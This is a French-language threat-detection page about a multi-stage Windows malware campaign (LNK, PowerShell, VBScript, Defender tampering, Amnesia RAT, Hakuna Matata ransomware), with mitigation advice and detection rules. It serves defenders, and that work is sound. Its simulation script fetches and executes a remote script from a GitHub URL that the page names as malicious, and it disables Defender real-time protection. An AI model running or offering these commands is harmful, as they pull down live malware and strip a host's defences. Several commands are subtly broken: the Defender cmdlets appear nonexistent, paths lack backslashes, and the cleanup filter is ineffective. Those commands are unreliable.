À l’intérieur d’une opération de malware Windows à plusieurs étapes
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Les laboratoires FortiGuard ont identifié une chaîne d’intrusion Windows en plusieurs étapes qui commence par un fichier LNK malveillant livré dans une archive compressée. Ce raccourci lance un chargeur PowerShell initial qui récupère des scripts supplémentaires depuis GitHub et passe ensuite le contrôle à un orchestrateur VBScript obfusqué. Le flux de travail tente ensuite d’affaiblir les défenses des points de terminaison en désactivant Microsoft Defender, en déployant l’utilitaire Defendnot, et en préparant à la fois Amnesia RAT et le ransomware Hakuna Matata. L’opération se termine par le dépôt d’un composant WinLocker qui verrouille le bureau pour perturber la récupération et exercer une pression sur les victimes.
Enquête
Les enquêteurs ont reconstruit le chemin d’exécution depuis l’étape PowerShell déclenchée par le LNK jusqu’à un VBScript qui reconstruit les charges utiles en mémoire, culminant dans le déploiement d’un ransomware et un comportement de verrouillage de bureau. Les mesures de défense ont été contournées par des modifications ciblées du registre et en injectant une DLL Defendnot dans Taskmgr.exe. La persistance a été mise en œuvre en utilisant une combinaison d’entrées de la clé Run et d’artefacts du dossier de démarrage pour réactiver la chaîne après une connexion.
Atténuation
Surveillez les changements de registre de niveau politique suspects sous HKLMSOFTWAREPoliciesMicrosoftWindows Defender et HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies. Bloquez les sorties vers les URLs GitHub et Dropbox malveillantes connus utilisés pour la mise en scène, et signalez les modèles de téléchargement et d’exécution via PowerShell provenant des lancements de LNK. Appliquez une liste blanche d’applications et resserrez les contrôles d’exécution PowerShell pour réduire l’accès initial basé sur des scripts.
Réponse
En cas de détection, isolez le point de terminaison, restaurez les paramètres de registre liés à Defender à un état sain reconnu et supprimez les fichiers malveillants et les entrées de persistance. Recherchez les processus Amnesia RAT actifs et l’activité réseau associée, et validez si une exécution de ransomware a eu lieu. Effectuez une triade médico-légale complète pour évaluer l’impact et éradiquer les traces, puis récupérez les systèmes à partir de sauvegardes propres, si possible.
Flux d’Attaque
Détections
Processus suspect utilisant une URL dans la ligne de commande (via cmdline)
Voir
Désactiver la surveillance en temps réel de Windows Defender et autres changements de préférences (via cmdline)
Voir
IOCs (HashSha256) à détecter : dans une campagne de malware Windows en plusieurs étapes
Voir
Activité réseau malveillante et C2 via GitHub, Dropbox, Telegram [Connexion réseau Windows]
Voir
Exécution de PowerShell dans une campagne de malware Windows [PowerShell Windows]
Voir
Exécution PowerShell et CMD avec leurre Install.exe [Création de processus Windows]
Voir
Exécution de la simulation
Condition préalable : le contrôle préalable de télémétrie et de ligne de base doit avoir réussi.
Justification : cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit doivent refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non pertinents conduiront à une erreur de diagnostic.
-
Narration de l’attaque & commandes :
Un adversaire ayant obtenu un point d’appui initial sur le point de terminaison souhaite télécharger et exécuter une charge utile PowerShell malveillante tout en évitant la politique d’exécution par défaut. Ils utilisentInvoke‑Expression(iex) combiné avecInvoke‑WebRequest(irm) pour récupérer un script depuis une URL brute GitHub distante, en l’exécutant sous-ExecutionPolicy Bypass. Après avoir établi la persistance, ils désactivent la surveillance en temps réel de Windows Defender pour éviter la détection des charges utiles suivantes. Ces étapes génèrent directement les chaînes de ligne de commande que la règle Sigma surveille. -
Script de test de régression :
# -------------------------------------------------------------- # Étape 1 – Exécuter le script distant avec contournement d'ExecutionPolicy # -------------------------------------------------------------- $maliciousUrl = "https://github.com/Mafin111/MafinREP111/raw/refs/heads/main/ps1/kira.ps1" powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "irm '$maliciousUrl' | iex" # -------------------------------------------------------------- # Étape 2 – Désactiver la surveillance en temps réel de Windows Defender # -------------------------------------------------------------- # Désactiver la protection en temps réel Disable-MpPreference -DisableRealtimeMonitoring $true # Ajouter un chemin d'exclusion (simulé) Add-MpPreference -ExclusionPath "C:TempExcludeFolder" -
Commandes de nettoyage :
# Réactiver la surveillance en temps réel de Windows Defender Enable-MpPreference -DisableRealtimeMonitoring $false # Supprimer le chemin d'exclusion (s'il existe) Remove-MpPreference -ExclusionPath "C:TempExcludeFolder" -ErrorAction SilentlyContinue # Arrêter les processus PowerShell restant lancés par le script Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'kira.ps1'} | Stop-Process -Force